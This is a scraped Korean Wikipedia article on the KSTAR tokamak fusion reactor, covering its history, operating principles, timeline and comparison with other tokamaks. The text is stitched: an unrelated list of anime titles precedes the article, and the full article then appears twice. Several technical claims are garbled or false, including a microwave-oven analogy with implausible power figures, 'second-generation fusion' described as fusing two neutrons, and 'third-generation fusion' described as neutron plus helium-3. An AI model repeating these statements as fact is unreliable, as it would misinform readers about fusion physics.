순정 로맨티카 꿈을 이뤄주는 코끼리 07-GHOST 괭이갈매기 울 적에 학생회의 일존 동물 환경 회의 GIANT KILLING 박앵귀 누라리횬의 손자 이것은 좀비입니까? 드래곤 크라이시스! 세계 제일의 첫사랑 포요포요 관찰일기共 비색의 조각 산카레아 팔견전 -동방팔견이문- 로젠 메이든 의로운 바람 당당!! 카네쓰구와 케이지 메가네부! 사쿠라 Trick pupa 와시모 WASIMO 막부말Rock 메시마세 로도스도 전기 ~그거 맛있는?~共 로그 호라이즌 (시즌 2) 쥬얼펫 매지컬 체인지 쇼와 겐로쿠 라쿠고 심중 이 멋진 세계에 축복을! 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KSTAR - 위키백과, 우리 모두의 백과사전 KSTAR 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KSTAR 한국형핵융합연구로 KSTAR(Korea Superconducting Tokamak Advanced Research)는 1995년에 개발에 착수하여 2007년 개발이 완료된 대한민국이 독자개발에 성공한 한국형핵융합연구로이다. 대전광역시 유성구에 위치한 국가핵융합연구소(NFRI)에 위치하고 있다. 지름 10m, 높이 6m의 4,000억 원짜리 도넛형으로 생긴 토카막(Tokamak)형 핵융합 실험로이다.[1][2] KSTAR의 콘크리트 벽의 두께는 1.5m로서, 아파트 3000가구를 지을 수 있는 시멘트가 사용되었다. 목차 1 역사 2 원리 3 기본 구조 4 핵심기술 5 연혁 6 안정성 7 국가별 핵융합로 8 참여 단체 9 서적 10 같이 보기 11 각주 12 외부 링크 역사[편집] 세계 최초로 300초 이상 고주파를 낼 수 있는 메가헤르츠(MHz) 대역의 전자기파 가열장치를 사용한다. 전자렌지와 같은 개념이다. 메가헤르츠(MHz) 대역의 전자기파를 쏴서 플라스마 이온을 공명시켜, 플라스마의 온도를 섭씨 1억 도까지 올린다. 한국원자력연구소 곽종구 박사팀은 2007년 7월 12일 이 가열장치의 개발 성공을 발표했다.[3][4] 2009년 11월 18일, 실험운전을 통해 플라즈마 전류 320kA, flattop 1.4초, 유지시간 3.6초를 달성하였다.[5] 한국, 미국, 유럽, 러시아, 일본, 중국, 인도가 2015년까지 60억 유로를 투자해 개발키로 한 국제핵융합실험(ITER) 장치가 KSTAR와 기본개념 설계가 같다. ITER은 열출력 규모가 500MW로 핵분열식인 한국 표준원전의 6분의 1 규모다. KSTAR의 크기는 ITER의 25분의 1 정도다.[6] 대한민국 정부 수립 이래 단일연구개발 예산으로는 최대 규모인 3천억 원이 투입됐다.[7] 2019년 2월 13일, 국가핵융합연구소는 세계 최초로 이온 온도 1억도(9kev) 이상을 유지한 초고온 고성능 플라즈마를 실현했다고 밝혔다. 유지시간은 1.5초다. 2019년에 추가로 도입하는 중성입자빔가열장치 2호기를 활용해, 1억도 이상 초고온 플라즈마를 세계 최초로 10초 이상 안정적으로 유지하려고 한다. 원리[편집] 핵분열에 비해 수천 수만 배의 에너지를 발생하는 핵융합은 태양이 불타는 원리다. 태양은 수소, 헬륨의 핵융합 반응으로 엄청난 열과 빛의 에너지를 지속적으로 뿜어내고 있다. 태양에서는 수소 원자 4개가 합쳐져 1개의 헬륨을 만드는데, 매초 7억t의 수소가 헬륨으로 변환되고 있다. 이 과정에서 태양은 초당 4조W의 100조배에 달하는 에너지를 방출하고 있다.[8] 핵분열과 핵융합은 모두 아인슈타인의 E=mc² 특수상대성이론 공식에 따른 것으로, 원자의 질량이 손실되어 사라지면서, 그에 상응하는 에너지가 발생한다는 원리를 따른다. 즉 핵분열 과정에서도, 핵융합 과정에서도 일정량의 질량손실이 발생하며, 그 물질이 사라지면서 에너지가 생긴다. 예를 들면, 한국의 4곳의 핵분열 원자력 발전소는 연간 750 톤의 농축 우라늄과 천연 우라늄을 사용해 전기를 생산한다. 이 750 톤의 우라늄 원료가 에너지로 바뀌는 과정에서 손실되는 질량을 E=mc²공식에 넣어 계산하면 연간 5㎏에 불과하다. 5㎏의 우라늄이 사라지면서 1년간 쓰는 전기 에너지로 변환된다.[9] 핵융합 발전의 연료로는 중수소와 삼중수소가 이용된다. 중수소와 삼중수소를 특수전기장치를 이용해 섭씨 1억도까지 올리면 전자가 분리되고, 이온화된 다량의 원자핵과 전자가 고밀도로 몰려 있는 플라스마(plasma)상태가 된다. 플라스마 상태의 중수소와 삼중수소가 서로 충돌하면 중성자와 헬륨이 생성된다. 이때 생성된 중성자와 헬륨의 질량의 합은 충돌 전의 중수소, 삼중수소의 질량의 합보다 작은데, 이 질량의 차이가 에너지로 변환된다.[10] KSTAR 핵융합로의 구조는 간단히 비유해서 설명하면, 가정에서 쓰는 전자렌지와 같다. 전자렌지 안에 중수소라는 요리를 넣고, 300초 이상 마이크로파를 쏘여서 가열한다. 그러면 전자렌지 안이 3억 도의 온도까지 올라가고, 그 온도에 이르면 중수소라는 요리가 스스로 무게가 줄어들면서 그 손실된 무게에 상응하는 방대한 빛과 열 에너지를 방출하기 시작한다. 그 열 에너지를 밖으로 뽑아내어 물을 끓여서 그 수증기로 발전기 터빈을 돌려 전기를 생산해 낸다. 전자렌지가 중수소를 데우는 데 소모되는 전기에너지는 1W인 반면에, 3억도의 온도가 된 중수소가 스스로 내뿜는 에너지로 생산하는 전기에너지는 1억W, 1조W가 된다. 2005년 7월 13일 한국원자력연구소 오병훈 박사는 "핵융합 발전이 상용화되려면 투입된 에너지보다 생산된 에너지가 20배 이상 많아야 하는데 현재는 같은 수준"이라고 말했다.[11] 3억 도의 온도가 되어도 전자렌지가 녹거나 폭발하지 않게 하는 기술, 그리고 중수소가 너무 갑자기 에너지를 방출하지 않고 그 발생되는 에너지를 통제할 수 있는 기술 등 여러가지 최첨단 기술이 필요하다. 중수소는 바닷물 1ℓ에서 0.03g을 얻을 수 있는데, 추출하는 비용은 10원이다. 중수소 1g은 석유 8t과 같은 에너지를 만들어낼 수 있다. 삼중수소도 지각과 바닷물에 풍부한 리튬에서 추출할 수 있으며 현재 전 세계에 3,000년 이상의 사용량이 매장돼 있다. 핵분열의 경우 희귀자원인 우라늄이 필요하여 한국은 우라늄을 수입해야만 핵분열 원자로를 가동할 수 있는데, 핵융합은 바닷물을 걸러내어서 전자렌지로 가열해 발전하는 방식이라서 자원 부족이 있을 수 없다. 에너지 수입의존도가 97%가 넘는 한국에게는 매우 중요한 사업이다. 위의 설명은 1세대 핵융합의 경우이고, 이 경우 핵융합시 발생하는 중성자와 그릇의 충돌에 의해 방사능 물질이 생성된다. 2세대 핵융합은 중성자 2개로 핵융합을 하는 경우로서, 아직까지 구현해 낸 나라는 없다. 이 경우 중성자가 1세대에 비해 적게 생성된다. 마지막 3세대 핵융합은 중성자와 헬륨3의 핵융합으로서 역시 구현한 곳은 없다. 그러나 이 경우에는 중성자가 거의 생성되지 않아 안정적이고, 더욱 생산적이다. 기본 구조[편집] 플라즈마 대향장치(Plasma Facing Component, PFC) 진공용기내 제어코일(In-Vessel Control Coil) 진공용기(Vacuum Vessel) 열차폐체(Thermal Shield) 토로이달 방향 코일(Foroidal Field Coil) 폴로이달 방향 코일(Poroidal Field Coil) 저온용기(Cryostat) 핵심기술[편집] 핵융합로 개발에 필요한 핵심기술은 크게 3개 분야이다: 1억도 이상의 초고온 플라스마를 생산하는 기술 1억도 이상의 초고온 플라스마를 가둬둘 수 있는 장치인 인공태양(토카막) 제작 기술 핵융합을 일으킬 수 있는 연료의 개발 기술 연혁[편집] 특정국가 만을 기입함. 1995년: 한국이 KSTAR 프로젝트를 시작함[12] 2007년: 한국이 KSTAR 주장치 완공[13] 2008년: KSTAR 최초 플라즈마 발생 공식 선언[14] 2009년: 전류 32만 암페어의 고온 플라즈마를 3.6초 유지[15] 2011년: 5천만 도의 고온 플라즈마를 5.2초간 유지 성공[16] 2012년: 5천만 도의 고온 플라즈마를 17초간 유지 성공[17] 2013년: 5천만 도의 고온 플라즈마를 20초간 유지 성공 2014년: 5천만 도의 고온 플라즈마를 48초간 유지 성공 2016년: 5천만 도의 고온 플라즈마를 70초간 유지 성공[18] 2017년: 7천만 도의 고온 플라즈마를 72초간 유지성공[19] 2019년: 1억 도의 고온 플라즈마 1.5초간 유지성공[20] 안정성[편집] 핵분열은 인체에 해로운 방사능 문제가 있으나, 핵융합은 방사능 문제가 거의 없다고 볼 수 있다. 국가별 핵융합로[편집] 2006년에 세계 3대 핵융합로라고 불리던 미국, 유럽연합, 일본의 토카막의 수명이 다했다. 이들은 구리자석을 채용해 플라스마 지속시간이 5∼10초에 불과했다. 반면에 2007년 8월에 준공된 KSTAR는 차세대 핵융합로로서, 일본 미국의 기존 구형 핵융합로 보다 30배 이상 성능이 뛰어나다.세계 3대 핵융합실험시설은 대부분 일반 전자석으로 제작된 반면, KSTAR는 초전도체를 이용하여 효율을 향상시켰다. 2022년까지 3억도 이상의 플라스마를 300초 이상 지속시키는 것을 목표로 하고 있다. 이 경우 전자석 작동시 전기 저항이 없어 훨씬 강력한 자기장 속에 중수소를 보다 오랜 시간 가둬놓고 가열시켜 핵융합을 일으킬 수 있다. 일본: en:JT-60U 1960년대(현재 JT-60SA라 불리는 초전도 토카막으로 업그레이드 중) 유럽 연합: JET 영국에 위치 1997년 1초 동안 17㎿의 열출력을 내는 데 성공 JT-60, ASDEX-U, DIII-D보다 뛰어남 미국: DIII-D 러시아: en:T-15 (reactor) 중국: EAST 대한민국: KSTAR 인도: en:ADITYA (tokamak) 참여 단체[편집] 국가핵융합연구소: 정부의 산하 연구기관 한국원자력연구원: 정부의 산하 연구기관 한국전력 삼성전자 현대중공업 대우중공업 두산중공업 서적[편집] 핵융합 우주의 에너지[21] 같이 보기[편집] ITER 한국전력기술(주) 각주[편집] ↑ 인공태양 제작 현장에 가다 세계일보 2007-06-25 ↑ ‘인공태양’ 지구의 마지막 에너지원 국민일보 2000-11-17 ↑ 곽종구 박사팀, 핵융합로 고주파 가열장치 국산화 성공 동아일보 2007-07-13 ↑ 원자력硏, '중성입자빔 가열장치' 세계 최장시간 운전 성공 Archived 2004년 10월 15일 - 웨이백 머신 뉴시스 2007-07-25 ↑ 2009년 12월 10일자 교육과학기술부 보도자료 ↑ 한국 핵융합 기술로 '인공 태양' 밝힌다 Archived 2004년 10월 15일 - 웨이백 머신 시사저널 2007-02-14 ↑ 인공태양을 만드는 까닭은… Archived 2007년 9월 27일 - 웨이백 머신 sciencetimes 2006.12.08 ↑ 태양처럼 핵융합으로 무한에너지 생산/ 지구에 '인공 태양' 만든다 한국등 6국, 발전시설 프로젝트 참여 서울신문2005-07-14 ↑ 과학입국 그린 프로젝트-Let's Science 차세대 에너지 ‘핵융합’ 국민일보 2004-09-15 ↑ 뉴스 인사이드 / ‘꿈의 에너지’ 개발, 지구촌을 구하라! 문화일보 2006-11-25 ↑ 태양처럼 핵융합으로 무한에너지 생산/ 지구에 '인공 태양' 만든다 한국등 6국, 발전시설 프로젝트 참여 서울신문 2005-07-14 ↑ 핵융합연구개발 추진계획 확정 ↑ `인공 태양` KSTAR(초전도 핵융합 연구장치) 내달 마무리 ↑ 한국형 인공태양 'KSTAR' 첫 불꽃 밝혔다 ↑ KSTAR, 가동 초기부터 기대 이상 ‘성과’ ↑ 핵융합硏, 핵융합 경계면 불안정 제어 성공 ↑ 핵융합硏 "KSTAR, 17초간 고성능 안전운전 성공" ↑ 한국형 초전도핵융합장치, 플라즈마 운전 70초 달성 ↑ 땅 위의 '인공태양' 난제 풀었다..핵융합에너지 상용화 성큼 ↑ <'인공태양에 한걸음 더'…KSTAR, 세계 첫 이온온도 1억℃달성 ↑ GARRY MCCRACKEN, PETER STOTT (2007년 9월 5일). 《핵융합 우주의 에너지》. 번역 유창모, 윤진희, 차동우. 북스힐. 264쪽. ISBN 9788955263558.  지원되지 않는 변수 무시됨: |원제= (도움말) CS1 관리 - 여러 이름 (링크) 외부 링크[편집] 위키뉴스에 이 글과관련된 기사가 있습니다. KSTAR KSTAR homepage US KSTAR homepage KSTAR Project Status PDF (caution: 1.6MB large file) KSTAR Assembly Status, October 2006 PDF vdeh핵기술핵과학 화학 공학 물리학 원자핵 핵분열 핵융합 방사선 이온화 연료 삼중수소 중수소 헬륨-3 핵원료성 물질 핵분열 물질 동위 원소 분리 우라늄 농축 감손 플루토늄 토륨 중성자 활성화 포획 흡수재 흡수 단면 발생기 방사선 반사체 원자력 발전소 핵융합 퓨저 KSTAR 방사성동위원소 열전기 발전기 (RTG) 원자력 추진 핵열 로켓 의학화상 진찰감마선 라드볼 신티그래피 단일 광자 방출 컴퓨터 단층 촬영 (SPECT) 양전자 방출 단층촬영 (PET) 엑스선 엑스선 사진 전산화 단층 촬영 치료법 고속 중성자 치료법 붕소 중성자 포촉법 알파 입자 치료 양성자 치료 토모테라피 근접조사요법 방사선 치료법 방사선 수술 방사선 치료제 무기주제 핵 군비 경쟁 발사 기술 설계 해체 윤리 폭발 영향 역사 확산 실험 높은 고도 지하 전쟁 출력 동등성 실험 목록 핵무기 보유국 핵실험 목록 대량 살상 무기에 대한 조약 목록 (WMD) 비핵무기지대 핵무기 목록 방사성 폐기물생산물 악티늄족 재처리 우라늄 원자로급 플루토늄 소수 악티나이드 활성화 생산물 핵분열 생성물 수명 핵분열 생성물 (LLFP) 악티나이드 화학 폐기물 핵연료 주기 고준위 폐기물 (HLW) 저준위 폐기물 (LLW) 저장소 재처리 사용후 핵연료 풀 건식 변성 핵분열로경수&중수 감속 가압수형 원자로 (PWR) (VVER EPR) 비등수형 원자로 (BWR) 중수로 (CANDU) 초임계압 경수 냉각로 (SCWR) 흑연감속 페블베드 원자로 (PBMR) 고온가스로 (VHTR) RBMK 마그녹스 개량 가스냉각로 (AGR) Li / Be 용융염 원자로 (MSR) 고속 중성자로 고속 증식로 (FBR) 액화금속 냉각 원자로 개량 액화금속 냉각 원자로 4세대 (가스냉각 고속원자로 (GFR) 납 냉각 고속원자로 (LFR) 나트륨 냉각 고속원자로 (SFR)) 토론 원자력 발전소 논쟁 핵무기 논쟁 반핵 운동 우라늄 채굴 논쟁 원자력 발전의 단계적 폐지 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KSTAR&oldid=24187563" 분류: 핵융합로숨은 분류: 인용 오류 - 지원되지 않는 변수 무시됨CS1 관리 - 여러 이름 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglish日本語Українська中文 링크 편집 이 문서는 2019년 5월 11일 (토) 08:56에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KSTAR - 위키백과, 우리 모두의 백과사전 KSTAR 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 KSTAR 한국형핵융합연구로 KSTAR(Korea Superconducting Tokamak Advanced Research)는 1995년에 개발에 착수하여 2007년 개발이 완료된 대한민국이 독자개발에 성공한 한국형핵융합연구로이다. 대전광역시 유성구에 위치한 국가핵융합연구소(NFRI)에 위치하고 있다. 지름 10m, 높이 6m의 4,000억 원짜리 도넛형으로 생긴 토카막(Tokamak)형 핵융합 실험로이다.[1][2] KSTAR의 콘크리트 벽의 두께는 1.5m로서, 아파트 3000가구를 지을 수 있는 시멘트가 사용되었다. 목차 1 역사 2 원리 3 기본 구조 4 핵심기술 5 연혁 6 안정성 7 국가별 핵융합로 8 참여 단체 9 서적 10 같이 보기 11 각주 12 외부 링크 역사[편집] 세계 최초로 300초 이상 고주파를 낼 수 있는 메가헤르츠(MHz) 대역의 전자기파 가열장치를 사용한다. 전자렌지와 같은 개념이다. 메가헤르츠(MHz) 대역의 전자기파를 쏴서 플라스마 이온을 공명시켜, 플라스마의 온도를 섭씨 1억 도까지 올린다. 한국원자력연구소 곽종구 박사팀은 2007년 7월 12일 이 가열장치의 개발 성공을 발표했다.[3][4] 2009년 11월 18일, 실험운전을 통해 플라즈마 전류 320kA, flattop 1.4초, 유지시간 3.6초를 달성하였다.[5] 한국, 미국, 유럽, 러시아, 일본, 중국, 인도가 2015년까지 60억 유로를 투자해 개발키로 한 국제핵융합실험(ITER) 장치가 KSTAR와 기본개념 설계가 같다. ITER은 열출력 규모가 500MW로 핵분열식인 한국 표준원전의 6분의 1 규모다. KSTAR의 크기는 ITER의 25분의 1 정도다.[6] 대한민국 정부 수립 이래 단일연구개발 예산으로는 최대 규모인 3천억 원이 투입됐다.[7] 2019년 2월 13일, 국가핵융합연구소는 세계 최초로 이온 온도 1억도(9kev) 이상을 유지한 초고온 고성능 플라즈마를 실현했다고 밝혔다. 유지시간은 1.5초다. 2019년에 추가로 도입하는 중성입자빔가열장치 2호기를 활용해, 1억도 이상 초고온 플라즈마를 세계 최초로 10초 이상 안정적으로 유지하려고 한다. 원리[편집] 핵분열에 비해 수천 수만 배의 에너지를 발생하는 핵융합은 태양이 불타는 원리다. 태양은 수소, 헬륨의 핵융합 반응으로 엄청난 열과 빛의 에너지를 지속적으로 뿜어내고 있다. 태양에서는 수소 원자 4개가 합쳐져 1개의 헬륨을 만드는데, 매초 7억t의 수소가 헬륨으로 변환되고 있다. 이 과정에서 태양은 초당 4조W의 100조배에 달하는 에너지를 방출하고 있다.[8] 핵분열과 핵융합은 모두 아인슈타인의 E=mc² 특수상대성이론 공식에 따른 것으로, 원자의 질량이 손실되어 사라지면서, 그에 상응하는 에너지가 발생한다는 원리를 따른다. 즉 핵분열 과정에서도, 핵융합 과정에서도 일정량의 질량손실이 발생하며, 그 물질이 사라지면서 에너지가 생긴다. 예를 들면, 한국의 4곳의 핵분열 원자력 발전소는 연간 750 톤의 농축 우라늄과 천연 우라늄을 사용해 전기를 생산한다. 이 750 톤의 우라늄 원료가 에너지로 바뀌는 과정에서 손실되는 질량을 E=mc²공식에 넣어 계산하면 연간 5㎏에 불과하다. 5㎏의 우라늄이 사라지면서 1년간 쓰는 전기 에너지로 변환된다.[9] 핵융합 발전의 연료로는 중수소와 삼중수소가 이용된다. 중수소와 삼중수소를 특수전기장치를 이용해 섭씨 1억도까지 올리면 전자가 분리되고, 이온화된 다량의 원자핵과 전자가 고밀도로 몰려 있는 플라스마(plasma)상태가 된다. 플라스마 상태의 중수소와 삼중수소가 서로 충돌하면 중성자와 헬륨이 생성된다. 이때 생성된 중성자와 헬륨의 질량의 합은 충돌 전의 중수소, 삼중수소의 질량의 합보다 작은데, 이 질량의 차이가 에너지로 변환된다.[10] KSTAR 핵융합로의 구조는 간단히 비유해서 설명하면, 가정에서 쓰는 전자렌지와 같다. 전자렌지 안에 중수소라는 요리를 넣고, 300초 이상 마이크로파를 쏘여서 가열한다. 그러면 전자렌지 안이 3억 도의 온도까지 올라가고, 그 온도에 이르면 중수소라는 요리가 스스로 무게가 줄어들면서 그 손실된 무게에 상응하는 방대한 빛과 열 에너지를 방출하기 시작한다. 그 열 에너지를 밖으로 뽑아내어 물을 끓여서 그 수증기로 발전기 터빈을 돌려 전기를 생산해 낸다. 전자렌지가 중수소를 데우는 데 소모되는 전기에너지는 1W인 반면에, 3억도의 온도가 된 중수소가 스스로 내뿜는 에너지로 생산하는 전기에너지는 1억W, 1조W가 된다. 2005년 7월 13일 한국원자력연구소 오병훈 박사는 "핵융합 발전이 상용화되려면 투입된 에너지보다 생산된 에너지가 20배 이상 많아야 하는데 현재는 같은 수준"이라고 말했다.[11] 3억 도의 온도가 되어도 전자렌지가 녹거나 폭발하지 않게 하는 기술, 그리고 중수소가 너무 갑자기 에너지를 방출하지 않고 그 발생되는 에너지를 통제할 수 있는 기술 등 여러가지 최첨단 기술이 필요하다. 중수소는 바닷물 1ℓ에서 0.03g을 얻을 수 있는데, 추출하는 비용은 10원이다. 중수소 1g은 석유 8t과 같은 에너지를 만들어낼 수 있다. 삼중수소도 지각과 바닷물에 풍부한 리튬에서 추출할 수 있으며 현재 전 세계에 3,000년 이상의 사용량이 매장돼 있다. 핵분열의 경우 희귀자원인 우라늄이 필요하여 한국은 우라늄을 수입해야만 핵분열 원자로를 가동할 수 있는데, 핵융합은 바닷물을 걸러내어서 전자렌지로 가열해 발전하는 방식이라서 자원 부족이 있을 수 없다. 에너지 수입의존도가 97%가 넘는 한국에게는 매우 중요한 사업이다. 위의 설명은 1세대 핵융합의 경우이고, 이 경우 핵융합시 발생하는 중성자와 그릇의 충돌에 의해 방사능 물질이 생성된다. 2세대 핵융합은 중성자 2개로 핵융합을 하는 경우로서, 아직까지 구현해 낸 나라는 없다. 이 경우 중성자가 1세대에 비해 적게 생성된다. 마지막 3세대 핵융합은 중성자와 헬륨3의 핵융합으로서 역시 구현한 곳은 없다. 그러나 이 경우에는 중성자가 거의 생성되지 않아 안정적이고, 더욱 생산적이다. 기본 구조[편집] 플라즈마 대향장치(Plasma Facing Component, PFC) 진공용기내 제어코일(In-Vessel Control Coil) 진공용기(Vacuum Vessel) 열차폐체(Thermal Shield) 토로이달 방향 코일(Foroidal Field Coil) 폴로이달 방향 코일(Poroidal Field Coil) 저온용기(Cryostat) 핵심기술[편집] 핵융합로 개발에 필요한 핵심기술은 크게 3개 분야이다: 1억도 이상의 초고온 플라스마를 생산하는 기술 1억도 이상의 초고온 플라스마를 가둬둘 수 있는 장치인 인공태양(토카막) 제작 기술 핵융합을 일으킬 수 있는 연료의 개발 기술 연혁[편집] 특정국가 만을 기입함. 1995년: 한국이 KSTAR 프로젝트를 시작함[12] 2007년: 한국이 KSTAR 주장치 완공[13] 2008년: KSTAR 최초 플라즈마 발생 공식 선언[14] 2009년: 전류 32만 암페어의 고온 플라즈마를 3.6초 유지[15] 2011년: 5천만 도의 고온 플라즈마를 5.2초간 유지 성공[16] 2012년: 5천만 도의 고온 플라즈마를 17초간 유지 성공[17] 2013년: 5천만 도의 고온 플라즈마를 20초간 유지 성공 2014년: 5천만 도의 고온 플라즈마를 48초간 유지 성공 2016년: 5천만 도의 고온 플라즈마를 70초간 유지 성공[18] 2017년: 7천만 도의 고온 플라즈마를 72초간 유지성공[19] 2019년: 1억 도의 고온 플라즈마 1.5초간 유지성공[20] 안정성[편집] 핵분열은 인체에 해로운 방사능 문제가 있으나, 핵융합은 방사능 문제가 거의 없다고 볼 수 있다. 국가별 핵융합로[편집] 2006년에 세계 3대 핵융합로라고 불리던 미국, 유럽연합, 일본의 토카막의 수명이 다했다. 이들은 구리자석을 채용해 플라스마 지속시간이 5∼10초에 불과했다. 반면에 2007년 8월에 준공된 KSTAR는 차세대 핵융합로로서, 일본 미국의 기존 구형 핵융합로 보다 30배 이상 성능이 뛰어나다.세계 3대 핵융합실험시설은 대부분 일반 전자석으로 제작된 반면, KSTAR는 초전도체를 이용하여 효율을 향상시켰다. 2022년까지 3억도 이상의 플라스마를 300초 이상 지속시키는 것을 목표로 하고 있다. 이 경우 전자석 작동시 전기 저항이 없어 훨씬 강력한 자기장 속에 중수소를 보다 오랜 시간 가둬놓고 가열시켜 핵융합을 일으킬 수 있다. 일본: en:JT-60U 1960년대(현재 JT-60SA라 불리는 초전도 토카막으로 업그레이드 중) 유럽 연합: JET 영국에 위치 1997년 1초 동안 17㎿의 열출력을 내는 데 성공 JT-60, ASDEX-U, DIII-D보다 뛰어남 미국: DIII-D 러시아: en:T-15 (reactor) 중국: EAST 대한민국: KSTAR 인도: en:ADITYA (tokamak) 참여 단체[편집] 국가핵융합연구소: 정부의 산하 연구기관 한국원자력연구원: 정부의 산하 연구기관 한국전력 삼성전자 현대중공업 대우중공업 두산중공업 서적[편집] 핵융합 우주의 에너지[21] 같이 보기[편집] ITER 한국전력기술(주) 각주[편집] ↑ 인공태양 제작 현장에 가다 세계일보 2007-06-25 ↑ ‘인공태양’ 지구의 마지막 에너지원 국민일보 2000-11-17 ↑ 곽종구 박사팀, 핵융합로 고주파 가열장치 국산화 성공 동아일보 2007-07-13 ↑ 원자력硏, '중성입자빔 가열장치' 세계 최장시간 운전 성공 Archived 2004년 10월 15일 - 웨이백 머신 뉴시스 2007-07-25 ↑ 2009년 12월 10일자 교육과학기술부 보도자료 ↑ 한국 핵융합 기술로 '인공 태양' 밝힌다 Archived 2004년 10월 15일 - 웨이백 머신 시사저널 2007-02-14 ↑ 인공태양을 만드는 까닭은… Archived 2007년 9월 27일 - 웨이백 머신 sciencetimes 2006.12.08 ↑ 태양처럼 핵융합으로 무한에너지 생산/ 지구에 '인공 태양' 만든다 한국등 6국, 발전시설 프로젝트 참여 서울신문2005-07-14 ↑ 과학입국 그린 프로젝트-Let's Science 차세대 에너지 ‘핵융합’ 국민일보 2004-09-15 ↑ 뉴스 인사이드 / ‘꿈의 에너지’ 개발, 지구촌을 구하라! 문화일보 2006-11-25 ↑ 태양처럼 핵융합으로 무한에너지 생산/ 지구에 '인공 태양' 만든다 한국등 6국, 발전시설 프로젝트 참여 서울신문 2005-07-14 ↑ 핵융합연구개발 추진계획 확정 ↑ `인공 태양` KSTAR(초전도 핵융합 연구장치) 내달 마무리 ↑ 한국형 인공태양 'KSTAR' 첫 불꽃 밝혔다 ↑ KSTAR, 가동 초기부터 기대 이상 ‘성과’ ↑ 핵융합硏, 핵융합 경계면 불안정 제어 성공 ↑ 핵융합硏 "KSTAR, 17초간 고성능 안전운전 성공" ↑ 한국형 초전도핵융합장치, 플라즈마 운전 70초 달성 ↑ 땅 위의 '인공태양' 난제 풀었다..핵융합에너지 상용화 성큼 ↑ <'인공태양에 한걸음 더'…KSTAR, 세계 첫 이온온도 1억℃달성 ↑ GARRY MCCRACKEN, PETER STOTT (2007년 9월 5일). 《핵융합 우주의 에너지》. 번역 유창모, 윤진희, 차동우. 북스힐. 264쪽. ISBN 9788955263558.  지원되지 않는 변수 무시됨: |원제= (도움말) CS1 관리 - 여러 이름 (링크) 외부 링크[편집] 위키뉴스에 이 글과관련된 기사가 있습니다. KSTAR KSTAR homepage US KSTAR homepage KSTAR Project Status PDF (caution: 1.6MB large file) KSTAR Assembly Status, October 2006 PDF vdeh핵기술핵과학 화학 공학 물리학 원자핵 핵분열 핵융합 방사선 이온화 연료 삼중수소 중수소 헬륨-3 핵원료성 물질 핵분열 물질 동위 원소 분리 우라늄 농축 감손 플루토늄 토륨 중성자 활성화 포획 흡수재 흡수 단면 발생기 방사선 반사체 원자력 발전소 핵융합 퓨저 KSTAR 방사성동위원소 열전기 발전기 (RTG) 원자력 추진 핵열 로켓 의학화상 진찰감마선 라드볼 신티그래피 단일 광자 방출 컴퓨터 단층 촬영 (SPECT) 양전자 방출 단층촬영 (PET) 엑스선 엑스선 사진 전산화 단층 촬영 치료법 고속 중성자 치료법 붕소 중성자 포촉법 알파 입자 치료 양성자 치료 토모테라피 근접조사요법 방사선 치료법 방사선 수술 방사선 치료제 무기주제 핵 군비 경쟁 발사 기술 설계 해체 윤리 폭발 영향 역사 확산 실험 높은 고도 지하 전쟁 출력 동등성 실험 목록 핵무기 보유국 핵실험 목록 대량 살상 무기에 대한 조약 목록 (WMD) 비핵무기지대 핵무기 목록 방사성 폐기물생산물 악티늄족 재처리 우라늄 원자로급 플루토늄 소수 악티나이드 활성화 생산물 핵분열 생성물 수명 핵분열 생성물 (LLFP) 악티나이드 화학 폐기물 핵연료 주기 고준위 폐기물 (HLW) 저준위 폐기물 (LLW) 저장소 재처리 사용후 핵연료 풀 건식 변성 핵분열로경수&중수 감속 가압수형 원자로 (PWR) (VVER EPR) 비등수형 원자로 (BWR) 중수로 (CANDU) 초임계압 경수 냉각로 (SCWR) 흑연감속 페블베드 원자로 (PBMR) 고온가스로 (VHTR) RBMK 마그녹스 개량 가스냉각로 (AGR) Li / Be 용융염 원자로 (MSR) 고속 중성자로 고속 증식로 (FBR) 액화금속 냉각 원자로 개량 액화금속 냉각 원자로 4세대 (가스냉각 고속원자로 (GFR) 납 냉각 고속원자로 (LFR) 나트륨 냉각 고속원자로 (SFR)) 토론 원자력 발전소 논쟁 핵무기 논쟁 반핵 운동 우라늄 채굴 논쟁 원자력 발전의 단계적 폐지 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KSTAR&oldid=24187563" 분류: 핵융합로숨은 분류: 인용 오류 - 지원되지 않는 변수 무시됨CS1 관리 - 여러 이름 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglish日本語Українська中文 링크 편집 이 문서는 2019년 5월 11일 (토) 08:56에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
